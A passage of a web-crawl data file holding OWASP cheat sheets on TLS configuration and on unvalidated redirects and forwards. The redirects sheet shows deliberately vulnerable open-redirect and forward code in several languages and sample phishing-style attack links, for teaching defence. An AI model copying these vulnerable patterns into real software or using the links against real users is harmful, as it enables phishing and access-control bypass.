"text": "Use TLS For All Pages¶"}, {"uroven": 3, "text": "Do Not Mix TLS and Non-TLS Content¶"}, {"uroven": 3, "text": "Prevent Caching of Sensitive Data¶"}, {"uroven": 3, "text": "Use HTTP Strict Transport Security¶"}, {"uroven": 3, "text": "Client Certificates and Mutual TLS¶"}, {"uroven": 3, "text": "Public Key Pinning¶"}], "markdown": "# Transport Layer Security Cheat Sheet¶\n\n## Introduction¶\n\nThis cheat sheet provides guidance on implementing transport layer protection for applications using Transport Layer Security (TLS). It primarily focuses on how to use TLS to protect clients connecting to a web application over HTTPS, though much of this guidance is also applicable to other uses of TLS. When correctly implemented, TLS can provide several security benefits:\n\n- **Confidentiality** : Provides protection against attackers reading the contents of the traffic.\n- **Integrity** : Provides protection against traffic modification, such as an attacker replaying requests against the server.\n- **[Authentication](Authentication_Cheat_Sheet.html)** : Enables the client to confirm they are connected to the legitimate server. Note that the identity of the client is not verified unless client certificates are employed.\n\n### SSL vs TLS¶\n\nSecure Socket Layer (SSL) was the original protocol that was used to provide encryption for HTTP traffic, in the form of HTTPS. There were two publicly released versions of SSL - versions 2 and 3. Both of these have serious cryptographic weaknesses and should no longer be used.\n\nFor [various reasons](https://tim.dierks.org/2014/05/security-standards-and-name-changes-in.html) the next version of the protocol (effectively SSL 3.1) was named Transport Layer Security (TLS) version 1.0. Subsequently TLS versions 1.1, 1.2 and 1.3 have been released.\n\nThe terms \"SSL\", \"SSL/TLS\" and \"TLS\" are frequently used interchangeably, and in many cases \"SSL\" is used when referring to the more modern TLS protocol. This cheat sheet will use the term \"TLS\" except where referring to the legacy protocols.\n\n## Server Configuration¶\n\n### Only Support Strong Protocols¶\n\nWeb applications must default to **TLS 1.3** and may support TLS 1.2 for compatibility. **TLS 1.0 and TLS 1.1 are formally deprecated by [RFC 8996](https://datatracker.ietf.org/doc/html/rfc8996) (March 2021) and must be disabled.** They are also forbidden by [PCI DSS](https://www.pcisecuritystandards.org/documents/Migrating-from-SSL-Early-TLS-Info-Supp-v1_1.pdf), disallowed by NIST SP 800-52 Rev. 2, and removed from all mainstream browsers. SSLv2 and SSLv3 must always be disabled.\n\nIf interoperability with end-of-life clients is a hard business requirement, isolate them on a dedicated endpoint with no access to sensitive data — do not weaken the primary endpoint. The [\"TLS_FALLBACK_SCSV\" extension](https://tools.ietf.org/html/rfc7507) should be enabled to prevent protocol downgrade attacks.\n\n### Only Support Strong Ciphers¶\n\nThere are a large number of different ciphers (or cipher suites) that are supported by TLS, that provide varying levels of security.\n\nFor TLS 1.3, use the standard AEAD cipher suites (AES‑GCM or ChaCha20‑Poly1305).\n\nIf TLS 1.2 is still required, prefer AEAD‑based suites there as well and avoid CBC‑mode ciphers. At a minimum, the following types of [ciphersuites](https://ciphersuite.info/) should always be disabled:\n\n- Null ciphers;\n- Anonymous ciphers ( `TLS_*_anon_*` );\n- EXPORT ciphers ( `TLS_*_EXPORT_*` );\n- RSA transport ( `TLS_RSA_*` ) and ephemeral/static Diffie-Hellman key agreement ( `TLS_DH_*` , `TLS_ECDH_*` ) which do not provide forward secrecy.\n\nThe Mozilla Foundation provides an [easy-to-use secure configuration generator](https://ssl-config.mozilla.org/) for web, database and mail servers. This tool allows site administrators to select the software they are using and receive a configuration file that is optimized to balance security and compatibility for a wide variety of browser versions and server software.\n\n### Set the appropriate Diffie-Hellman groups¶\n\nThe practice of earlier than TLS 1.3 protocol versions of Diffie-Hellman parameter generation for use by the ephemeral Diffie-Hellman key exchange (signified by the \"DHE\" or \"EDH\" strings in the cipher suite name) had practical issues. For example, the client had no say in the selection of server parameters, meaning it could only unconditionally accept or drop, and the random parameter generation often resulted to denial of service attacks (CVE-2022-40735, CVE-2002-20001).\n\nThe `supported_groups` extension is used to negotiate which Diffie-Hellman group are supported:\n\n- the available Finite Field Diffie-Hellman groups are `ffdhe2048` , `ffdhe3072` , `ffdhe4096` , `ffdhe6144` , `ffdhe8192` as specified in [RFC7919](https://www.rfc-editor.org/rfc/rfc7919) ;\n- Elliptic Curve Diffie-Hellman groups include `x25519` , `prime256v1` , `x448` , `secp384r1` ;\n- for post-quantum cryptography, `X25519MLKEM768` it currently used (though it is not a group, proper).\n\nFor OpenSSL, the list of enabled groups can be configured ins in `openssl.cnf`. For example\n\n```\nopenssl_conf = openssl_init\n[openssl_init]\nssl_conf = ssl_module\n[ssl_module]\nsystem_default = tls_system_default\n[tls_system_default]\nGroups = X25519MLKEM768:x25519:prime256v1:x448:ffdhe2048:ffdhe3072\n```\n\nAn Apache configuration would look like\n\n```\nSSLOpenSSLConfCmd Curves X25519MLKEM768:X25519:prime256v1:secp384r1\n```\n\nThe same group on NGINX would look like the following\n\n```\nssl_ecdh_curve X25519MLKEM768:X25519:prime256v1:secp384r1;\n```\n\nFor TLS 1.2 or earlier versions it is recommended not to set Diffie-Hellman parameters.\n\n### Disable Compression¶\n\nTLS compression should be disabled in order to protect against a vulnerability (nicknamed [CRIME](https://threatpost.com/crime-attack-uses-compression-ratio-tls-requests-side-channel-hijack-secure-sessions-091312/77006/)) which could potentially allow sensitive information such as session cookies to be recovered by an attacker.\n\n### Patch Cryptographic Libraries¶\n\nAs well as the vulnerabilities in the SSL and TLS protocols, there have also been a large number of historic vulnerability in SSL and TLS libraries, with [Heartbleed](https://heartbleed.com) being the most well known. As such, it is important to ensure that these libraries are kept up to date with the latest security patches.\n\n### Test the Server Configuration¶\n\nOnce the server has been hardened, the configuration should be tested. The [OWASP Testing Guide chapter on SSL/TLS Testing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_Transport_Layer_Security) contains further information on testing.\n\nThere are a number of online tools that can be used to quickly validate the configuration of a server, including:\n\n- [SSL Labs Server Test](https://www.ssllabs.com/ssltest)\n- [CryptCheck](https://cryptcheck.fr/)\n- [Hardenize](https://www.hardenize.com/)\n- [ImmuniWeb](https://www.immuniweb.com/ssl/)\n- [Observatory by Mozilla](https://observatory.mozilla.org)\n- [Scanigma](https://scanigma.com)\n- [Stellastra](https://stellastra.com/tls-cipher-suite-check)\n- [OWASP PurpleTeam](https://purpleteam-labs.com/) `cloud`\n\nAdditionally, there are a number of offline tools that can be used:\n\n- [O-Saft - OWASP SSL advanced forensic tool](https://wiki.owasp.org/index.php/O-Saft)\n- [CipherScan](https://github.com/mozilla/cipherscan)\n- [CryptoLyzer](https://gitlab.com/coroner/cryptolyzer)\n- [SSLScan - Fast SSL Scanner](https://github.com/rbsec/sslscan)\n- [SSLyze](https://github.com/nabla-c0d3/sslyze)\n- [testssl.sh - Testing any TLS/SSL encryption](https://testssl.sh)\n- [tls-scan](https://github.com/prbinu/tls-scan)\n- [OWASP PurpleTeam](https://purpleteam-labs.com/) `local`\n\n## Certificates¶\n\n### Use Strong Keys and Protect Them¶\n\nThe private key used to generate the cipher key must be sufficiently strong for the anticipated lifetime of the private key and corresponding certificate. The current best practice is to select a key size of at least 2048 bits when using RSA keys. Additional information on key lifetimes and comparable key strengths can be found [here](https://www.keylength.com/en/compare/) and in [NIST SP 800-57](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf).\n\nThe private key should also be protected from unauthorized access using filesystem permissions and other technical and administrative controls.\n\n### Use Strong Cryptographic Hashing Algorithms¶\n\nCertificates should use SHA-256 for the hashing algorithm, rather than the older MD5 and SHA-1 algorithms. These have a number of cryptographic weaknesses, and are not trusted by modern browsers.\n\n### Use Correct Domain Names¶\n\nThe domain name (or subject) of the certificate must match the fully qualified name of the server that presents the certificate. Historically this was stored in the `commonName` (CN) attribute of the certificate. However, modern versions of Chrome ignore the CN attribute, and require that the FQDN is in the `subjectAlternativeName` (SAN) attribute. For compatibility reasons, certificates should have the primary FQDN in the CN, and the full list of FQDNs in the SAN.\n\nAdditionally, when creating the certificate, the following should be taken into account:\n\n- Consider whether the \"www\" subdomain should also be included.\n- Do not include non-qualified hostnames.\n- Do not include IP addresses.\n- Do not include internal domain names on externally facing certificates.\n - If a server is accessible using both internal and external FQDNs, configure it with multiple certificates.\n\n### Carefully Consider the use of Wildcard Certificates¶\n\nWildcard certificates can be convenient, however they violate [the principle of least privilege](https://wiki.owasp.org/index.php/Least_privilege), as a single certificate is valid for all subdomains of a domain (such as *.example.org). Where multiple systems are sharing a wildcard certificate, the likelihood that the private key for the certificate is compromised increases, as the key may be present on multiple systems. Additionally, the value of this key is significantly increased, making it a more attractive target for attackers.\n\nThe issues around the use of wildcard certificates are complicated, and there are [various](https://blog.sean-wright.com/wildcard-certs-not-quite-the-star/) other [discussions](https://gist.github.com/joepie91/7e5cad8c0726fd6a5e90360a754fc568) of them online.\n\nWhen risk assessing the use of wildcard certificates, the following areas should be considered:\n\n- Only use wildcard certificates where there is a genuine need, rather than for convenience.\n - Consider the use of the [ACME](https://en.wikipedia.org/wiki/Automated_Certificate_Management_Environment) to allow systems to automatically request and update their own certificates instead.\n- Never use a wildcard certificates for systems at different trust levels.\n - Two VPN gateways could use a shared wildcard certificate.\n - Multiple instances of a web application could share a certificate.\n - A VPN gateway and a public web server **should not** share a wildcard certificate.\n - A public web server and an internal server **should not** share a wildcard certificate.\n- Consider the use of a reverse proxy server which performs TLS termination, so that the wildcard private key is only present on one system.\n- A list of all systems sharing a certificate should be maintained to allow them all to be updated if the certificate expires or is compromised.\n- Limit the scope of a wildcard certificate by issuing it for a subdomain (such as `*.foo.example.org` ), or a for a separate domain.\n\n### Use an Appropriate Certification Authority for the Application's User Base¶\n\nIn order to be trusted by users, certificates must be signed by a trusted certificate authority (CA). For Internet facing applications, this should be one of the CAs which are well-known and automatically trusted by operating systems and browsers.\n\nThe [LetsEncrypt](https://letsencrypt.org) CA provides free domain validated SSL certificates, which are trusted by all major browsers. As such, consider whether there are any benefits to purchasing a certificate from a CA.\n\nFor internal applications, an internal CA can be used. This means that the FQDN of the certificate will not be exposed (either to an external CA, or publicly in certificate transparency lists). However, the certificate will only be trusted by users who have imported and trusted the internal CA certificate that was used to sign them.\n\n### Use CAA Records to Restrict Which CAs can Issue Certificates¶\n\nCertification Authority Authorization (CAA) DNS records can be used to define which CAs are permitted to issue certificates for a domain. The records contains a list of CAs, and any CA who is not included in that list should refuse to issue a certificate for the domain. This can help to prevent an attacker from obtaining unauthorized certificates for a domain through a less-reputable CA. Where it is applied to all subdomains, it can also be useful from an administrative perspective by limiting which CAs administrators or developers are able to use, and by preventing them from obtaining unauthorized wildcard certificates.\n\n### Consider the Certificate’s Validation Type¶\n\nCertificates come in different types of validation. Validation is the process the Certificate Authority (CA) uses to make sure you are allowed to have the certificate. This is authorization. The [CA/Browser Forum](https://cabforum.org/working-groups/server/baseline-requirements/documents/) is an organization made of CA and browser vendors, as well as others with an interest in web security. They set the rules which CAs must follow based on the validation type. The base validation is called Domain Validated (DV). All publicly issued certificates must be domain validated. This process involves practical proof of control of the name or endpoint requested in the certificate. This usually involves a challenge and response in DNS, to an official email address, or to the endpoint that will get the certificate.\n\nOrganization Validated (OV) certificates include the requestor’s organization information in the certificates subject. E.g. C = GB, ST = Manchester, **O = Sectigo Limited**, CN = sectigo.com. The process to acquire an OV certificate requires official contact with the requesting company via a method that proves to the CA that they are truly talking to the right company.\n\nExtended validation (EV) certificates provide an even higher level of verification as well as all the DV and OV verifications. This can effectively be viewed as the difference between \"This site is really run by Example Company Inc.\" vs \"This domain is really example.org\". [Latest Extended Validation Guidelines](https://cabforum.org/working-groups/server/extended-validation/guidelines/)\n\nHistorically these displayed differently in the browser, often showing the company name or a green icon or background in the address bar. However, as of 2019 no major browser shows EV status like this as they do not believe that EV certificates provide any additional protection. ([Chromium](https://groups.google.com/a/chromium.org/forum/m/#!msg/security-dev/h1bTcoTpfeI/jUTk1z7VAAAJ) Covering Chrome, Edge, Brave, and Opera. [Firefox](https://groups.google.com/forum/m/?fromgroups&hl=en#!topic/firefox-dev/6wAg_PpnlY4) [Safari](https://cabforum.org/2018/06/06/minutes-of-the-f2f-44-meeting-in-london-england-6-7-june-2018/#apple-root-program-update))\n\nAs all browsers and TLS stacks are unaware of the difference between DV, OV, and EV certificates, they are effectively the same in terms of security. An attacker only needs to reach the level of practical control of the domain to get a rogue certificate. The extra work for an attacker to get an OV or EV certificate in no way increases the scope of an incident. In fact, those actions would likely mean detection. The additional pain in getting OV and EV certificates may create an availability risk and their use should be reviewed with this in mind.\n\n## Application¶\n\n### Use TLS For All Pages¶\n\nTLS should be used for all pages, not just those that are considered sensitive such as the login page. If there are any pages that do not enforce the use of TLS, these could give an attacker an opportunity to sniff sensitive information such as session tokens, or to inject malicious JavaScript into the responses to carry out other attacks against the user.\n\nFor public facing applications, it may be appropriate to have the web server listening for unencrypted HTTP connections on port 80, and then immediately redirecting them with a permanent redirect (HTTP 301) in order to provide a better experience to users who manually type in the domain name. This should then be supported with the HTTP Strict Transport Security (HSTS) header to prevent them accessing the site over HTTP in the future.\n\nAPI-only endpoints should disable HTTP altogether and only support encrypted connections. When that is not possible, API endpoints should fail requests made over unencrypted HTTP connections instead of redirecting them.\n\n### Do Not Mix TLS and Non-TLS Content¶\n\nA page that is available over TLS should not include any resources (such as JavaScript or CSS) files which are loaded over unencrypted HTTP. These unencrypted resources could allow an attacker to sniff session cookies or inject malicious code into the page. Modern browsers will also block attempts to load active content over unencrypted HTTP into secure pages.\n\nAll cookies should be marked with the \"[Secure](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Secure_and_HttpOnly_cookies)\" attribute, which instructs the browser to only send them over encrypted HTTPS connections, in order to prevent them from being sniffed from an unencrypted HTTP connection. This is important even if the website does not listen on HTTP (port 80), as an attacker performing an active man in the middle attack could present a spoofed web server on port 80 to the user in order to steal their cookie.\n\n### Prevent Caching of Sensitive Data¶\n\nAlthough TLS provides protection of data while it is in transit, it does not provide any protection for data once it has reached the requesting system. As such, this information may be stored in the cache of the user's browser, or by any intercepting proxies which are configured to perform TLS decryption.\n\nWhere sensitive data is returned in responses, HTTP headers should be used to instruct the browser and any proxy server not to cache the information, in order to prevent it being stored or returned to other users. For modern HTTP/1.1+ clients and intermediaries, a single header is sufficient:\n\n```\nCache-Control: no-store\n```\n\n`no-store` is the strongest cache directive: it forbids both shared and private caches from storing any part of the response. The legacy combination `Cache-Control: no-cache, no-store, must-revalidate` plus `Pragma: no-cache` and `Expires: 0` is only required if you must support pre-HTTP/1.1 caches (effectively obsolete in 2024+) and adds no protection beyond `no-store` on a modern stack. Note that `Cache-Control` governs the HTTP cache; it does not control whether the browser stores cookies in its cookie jar — that is controlled by the cookie attributes (`Max-Age`, `Expires`, `Session`).\n\nIf you also need to clear data already cached on the client at sign-out, additionally send [`Clear-Site-Data`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data) (e.g. `Clear-Site-Data: \"cache\", \"cookies\", \"storage\"`).\n\n### Use HTTP Strict Transport Security¶\n\nHTTP Strict Transport Security (HSTS) instructs the user's browser to always request the site over HTTPS, and also prevents the user from bypassing certificate warnings. See the [HTTP Strict Transport Security Cheat Sheet](HTTP_Strict_Transport_Security_Cheat_Sheet.html) for further information on implementing HSTS.\n\n### Client Certificates and Mutual TLS¶\n\nIn a typical TLS configuration, a certificate on the server allows the client to verify the server's identity and provides an encrypted connection between them. However, this approach has two main weaknesses:\n\n- The server lacks a mechanism to verify the client's identity.\n- An attacker, obtaining a valid certificate for the domain, can intercept the connection. This interception is often used by businesses to inspect TLS traffic, by installing a trusted CA certificate on their client systems.\n\nClient certificates, central to mutual TLS (mTLS), address these issues. In mTLS, both the client and server authenticate each other using TLS. The client proves their identity to the server with their own certificate. This not only enables strong authentication of the client but also prevents an intermediate party from decrypting TLS traffic, even if they have a trusted CA certificate on the client system.\n\nChallenges and Considerations\n\nClient certificates are rarely used in public systems due to several challenges:\n\n- Issuing and managing client certificates involves significant administrative overhead.\n- Non-technical users may find installing client certificates difficult.\n- Organizations' TLS decryption practices can cause client certificate authentication, a key component of mTLS, to fail.\n\nDespite these challenges, client certificates and mTLS should be considered for high-value applications or APIs, particularly where users are technically sophisticated or part of the same organization.\n\n### Public Key Pinning¶\n\nPublic key pinning can be used to provides assurance that the server's certificate is not only valid and trusted, but also that it matches the certificate expected for the server. This provides protection against an attacker who is able to obtain a valid certificate, either by exploiting a weakness in the validation process, compromising a trusted certificate authority, or having administrative access to the client.\n\nPublic key pinning was added to browsers in the HTTP Public Key Pinning (HPKP) standard. However, due to a number of issues, it has subsequently been deprecated and is no longer recommended or [supported by modern browsers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Public-Key-Pins).\n\nHowever, public key pinning can still provide security benefits for mobile applications, thick clients and server-to-server communication. This is discussed in further detail in the [Pinning Cheat Sheet](Pinning_Cheat_Sheet.html).\n\n- OWASP - [Testing for Weak TLS](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_Transport_Layer_Security)\n- OWASP - [Application Security Verification Standard (ASVS) - Communication Security Verification Requirements (V9)](https://github.com/OWASP/ASVS/blob/v4.0.1/4.0/en/0x17-V9-Communications.md)\n- Mozilla - [Mozilla Recommended Configurations](https://wiki.mozilla.org/Security/Server_Side_TLS#Recommended_configurations)\n- NIST - [SP 800-52 Rev. 2 Guidelines for the Selection, Configuration, and Use of Transport Layer Security (TLS) Implementations](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-52r2.pdf)\n- NIST - [NIST SP 800-57 Recommendation for Key Management, Revision 5](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf)\n- NIST - [SP 800-95 Guide to Secure Web Services](https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-95.pdf)\n- IETF - [RFC 5280 Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile](https://tools.ietf.org/html/rfc5280)\n- IETF - [RFC 2246 The Transport Layer Security (TLS) Protocol Version 1.0 (JAN 1999)](https://tools.ietf.org/html/rfc2246)\n- IETF - [RFC 4346 The Transport Layer Security (TLS) Protocol Version 1.1 (APR 2006)](https://tools.ietf.org/html/rfc4346)\n- IETF - [RFC 5246 The Transport Layer Security (TLS) Protocol Version 1.2 (AUG 2008)](https://tools.ietf.org/html/rfc5246)", "znaku_textu": 23376, "slov": 3238, "odkazu": 205, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:15", "sha256": "0a2dc2c6da3fd364f7aa7168509ea15ff6eaf6128a20e560347e1b5680b4b2f1", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://tim.dierks.org/2014/05/security-standards-and-name-changes-in.html", "https://datatracker.ietf.org/doc/html/rfc8996", "https://www.pcisecuritystandards.org/documents/Migrating-from-SSL-Early-TLS-Info-Supp-v1_1.pdf", "https://tools.ietf.org/html/rfc7507", "https://ciphersuite.info/", "https://ssl-config.mozilla.org/", "https://www.rfc-editor.org/rfc/rfc7919", "https://threatpost.com/crime-attack-uses-compression-ratio-tls-requests-side-channel-hijack-secure-sessions-091312/77006/", "https://heartbleed.com/", "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_Transport_Layer_Security", "https://www.ssllabs.com/ssltest", "https://cryptcheck.fr/", "https://www.hardenize.com/", "https://www.immuniweb.com/ssl/", "https://observatory.mozilla.org/", "https://scanigma.com/", "https://stellastra.com/tls-cipher-suite-check", "https://purpleteam-labs.com/", "https://wiki.owasp.org/index.php/O-Saft", "https://github.com/mozilla/cipherscan", "https://gitlab.com/coroner/cryptolyzer", "https://github.com/rbsec/sslscan", "https://github.com/nabla-c0d3/sslyze", "https://testssl.sh/", "https://github.com/prbinu/tls-scan", "https://www.keylength.com/en/compare/", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf", "https://wiki.owasp.org/index.php/Least_privilege", "https://blog.sean-wright.com/wildcard-certs-not-quite-the-star/", "https://gist.github.com/joepie91/7e5cad8c0726fd6a5e90360a754fc568", "https://en.wikipedia.org/wiki/Automated_Certificate_Management_Environment", "https://letsencrypt.org/", "https://cabforum.org/working-groups/server/baseline-requirements/documents/", "https://cabforum.org/working-groups/server/extended-validation/guidelines/", "https://groups.google.com/a/chromium.org/forum/m/", "https://groups.google.com/forum/m/?fromgroups=&hl=en", "https://cabforum.org/2018/06/06/minutes-of-the-f2f-44-meeting-in-london-england-6-7-june-2018/", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Public-Key-Pins", "https://github.com/OWASP/ASVS/blob/v4.0.1/4.0/en/0x17-V9-Communications.md", "https://wiki.mozilla.org/Security/Server_Side_TLS", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-52r2.pdf", "https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-95.pdf", "https://tools.ietf.org/html/rfc5280", "https://tools.ietf.org/html/rfc2246", "https://tools.ietf.org/html/rfc4346", "https://tools.ietf.org/html/rfc5246", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html", "titulek": "Unvalidated Redirects and Forwards - OWASP Cheat Sheet Series", "h1": "Unvalidated Redirects and Forwards Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Unvalidated Redirects and Forwards Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Safe URL Redirects¶"}, {"uroven": 2, "text": "Dangerous URL Redirects¶"}, {"uroven": 3, "text": "Dangerous URL Redirect Example 1¶"}, {"uroven": 3, "text": "Dangerous URL Redirect Example 2¶"}, {"uroven": 3, "text": "Dangerous Forward Example¶"}, {"uroven": 2, "text": "Preventing Unvalidated Redirects and Forwards¶"}, {"uroven": 3, "text": "Validating URLs¶"}, {"uroven": 2, "text": "References¶"}], "markdown": "# Unvalidated Redirects and Forwards Cheat Sheet¶\n\n## Introduction¶\n\nUnvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.\n\nBecause the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application's access control check and then forward the attacker to privileged functions that they would normally not be able to access.\n\n## Safe URL Redirects¶\n\nWhen we want to redirect a user automatically to another page (without an action of the visitor such as clicking on a hyperlink) you might implement a code such as the following:\n\nJava\n\n```\nresponse.sendRedirect(\"http://www.mysite.com\"); \n```\n\nPHP\n\n```\n \n```\n\nASP .NET\n\n```\nResponse.Redirect(\"~/folder/Login.aspx\") \n```\n\nRails\n\n```\nredirect_to login_path \n```\n\nRust actix web\n\n```\n Ok(HttpResponse::Found() .insert_header((header::LOCATION, \"https://mysite.com/\")) .finish()) \n```\n\nIn the examples above, the URL is being explicitly declared in the code and cannot be manipulated by an attacker.\n\n## Dangerous URL Redirects¶\n\nThe following examples demonstrate unsafe redirect and forward code.\n\n### Dangerous URL Redirect Example 1¶\n\nThe following Java code receives the URL from the parameter named `url` ([GET or POST](https://docs.oracle.com/javaee/7/api/javax/servlet/ServletRequest.html#getParameter-java.lang.String-)) and redirects to that URL:\n\n```\nresponse.sendRedirect(request.getParameter(\"url\")); \n```\n\nThe following PHP code obtains a URL from the query string (via the parameter named `url`) and then redirects the user to that URL. Additionally, the PHP code after this `header()` function will continue to execute, so if the user configures their browser to ignore the redirect, they may be able to access the rest of the page.\n\n```\n$redirect_url = $_GET['url']; header(\"Location: \" . $redirect_url); \n```\n\nA similar example of C# .NET Vulnerable Code:\n\n```\nstring url = request.QueryString[\"url\"]; Response.Redirect(url); \n```\n\nAnd in Rails:\n\n```\nredirect_to params[:url] \n```\n\nRust actix web\n\n```\n Ok(HttpResponse::Found() .insert_header((header::LOCATION, query_string.path.as_str())) .finish()) \n```\n\nThe above code is vulnerable to an attack if no validation or extra method controls are applied to verify the certainty of the URL. This vulnerability could be used as part of a phishing scam by redirecting users to a malicious site.\n\nIf no validation is applied, a malicious user could create a hyperlink to redirect your users to an unvalidated malicious website, for example:\n\n```\n http://example.com/example.php?url=http://malicious.example.com\n```\n\nThe user sees the link directing to the original trusted site (`example.com`) and does not realize the redirection that could take place\n\n### Dangerous URL Redirect Example 2¶\n\n[ASP .NET MVC 1 & 2 websites](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks) are particularly vulnerable to open redirection attacks. In order to avoid this vulnerability, you need to apply MVC 3.\n\nThe code for the LogOn action in an ASP.NET MVC 2 application is shown below. After a successful login, the controller returns a redirect to the returnUrl. You can see that no validation is being performed against the returnUrl parameter.\n\nASP.NET MVC 2 LogOn action in `AccountController.cs` (see Microsoft Docs link provided above for the context):\n\n```\n[HttpPost] public ActionResult LogOn(LogOnModel model, string returnUrl) { if (ModelState.IsValid) { if (MembershipService.ValidateUser(model.UserName, model.Password)) { FormsService.SignIn(model.UserName, model.RememberMe); if (!String.IsNullOrEmpty(returnUrl)) { return Redirect(returnUrl); } else { return RedirectToAction(\"Index\", \"Home\"); } } else { ModelState.AddModelError(\"\", \"The user name or password provided is incorrect.\"); } } // If we got this far, something failed, redisplay form return View(model); } \n```\n\n### Dangerous Forward Example¶\n\nWhen applications allow user input to forward requests between different parts of the site, the application must check that the user is authorized to access the URL, perform the functions it provides, and it is an appropriate URL request.\n\nIf the application fails to perform these checks, an attacker crafted URL may pass the application's access control check and then forward the attacker to an administrative function that is not normally permitted.\n\nExample:\n\n```\nhttp://www.example.com/function.jsp?fwd=admin.jsp\n```\n\nThe following code is a Java servlet that will receive a `GET` request with a URL parameter named `fwd` in the request to forward to the address specified in the URL parameter. The servlet will retrieve the URL parameter value [from the request](https://docs.oracle.com/javaee/7/api/javax/servlet/ServletRequest.html#getParameter-java.lang.String-) and complete the server-side forward processing before responding to the browser.\n\n```\npublic class ForwardServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String query = request.getQueryString(); if (query.contains(\"fwd\")) { String fwd = request.getParameter(\"fwd\"); try { request.getRequestDispatcher(fwd).forward(request, response); } catch (ServletException e) { e.printStackTrace(); } } } } \n```\n\n## Preventing Unvalidated Redirects and Forwards¶\n\nSafe use of redirects and forwards can be done in a number of ways:\n\n- Simply avoid using redirects and forwards.\n- If used, do not allow the URL as user input for the destination.\n- Where possible, have the user provide short name, ID or token which is mapped server-side to a full target URL.\n - This provides the highest degree of protection against the attack tampering with the URL.\n - Be careful that this doesn't introduce an enumeration vulnerability where a user could cycle through IDs to find all possible redirect targets\n- If user input can’t be avoided, ensure that the supplied **value** is valid, appropriate for the application, and is **authorized** for the user.\n- Sanitize input by creating a list of trusted URLs (lists of hosts or a regex).\n - This should be based on an allow-list approach, rather than a denylist.\n- Force all redirects to first go through a page notifying users that they are going off of your site, with the destination clearly displayed, and have them click a link to confirm.\n\n### Validating URLs¶\n\nValidating and sanitizing user-input to determine whether the URL is safe is not a trivial task. Detailed instructions how to implement URL validation is described [in Server Side Request Forgery Prevention Cheat Sheet](Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html#application-layer)\n\n## References¶\n\n- [CWE Entry 601 on Open Redirects](http://cwe.mitre.org/data/definitions/601.html) .\n- [WASC Article on URL Redirector Abuse](http://projects.webappsec.org/w/page/13246981/URL%20Redirector%20Abuse)\n- [Google blog article on the dangers of open redirects](https://googlewebmastercentral.blogspot.com/2009/01/open-redirect-urls-is-your-site-being.html) .\n- [Preventing Open Redirection Attacks (C#)](https://www.asp.net/mvc/tutorials/security/preventing-open-redirection-attacks) .", "znaku_textu": 7550, "slov": 1012, "odkazu": 147, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:16", "sha256": "15b47b6b669fe57d947e08adab555a2e9795de9920d6d897a04cd205558bbe66", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://docs.oracle.com/javaee/7/api/javax/servlet/ServletRequest.html", "https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks", "http://cwe.mitre.org/data/definitions/601.html", "http://projects.webappsec.org/w/page/13246981/URL%20Redirector%20Abuse", "https://googlewebmastercentral.blogspot.com/2009/01/open-redirect-urls-is-your-site-being.html", "https://www.asp.net/mvc/tutorials/security/preventing-open-redirection-attacks", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html", "titulek": "User Privacy Protection - OWASP Cheat Sheet Series", "h1": "User Privacy Protection Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": 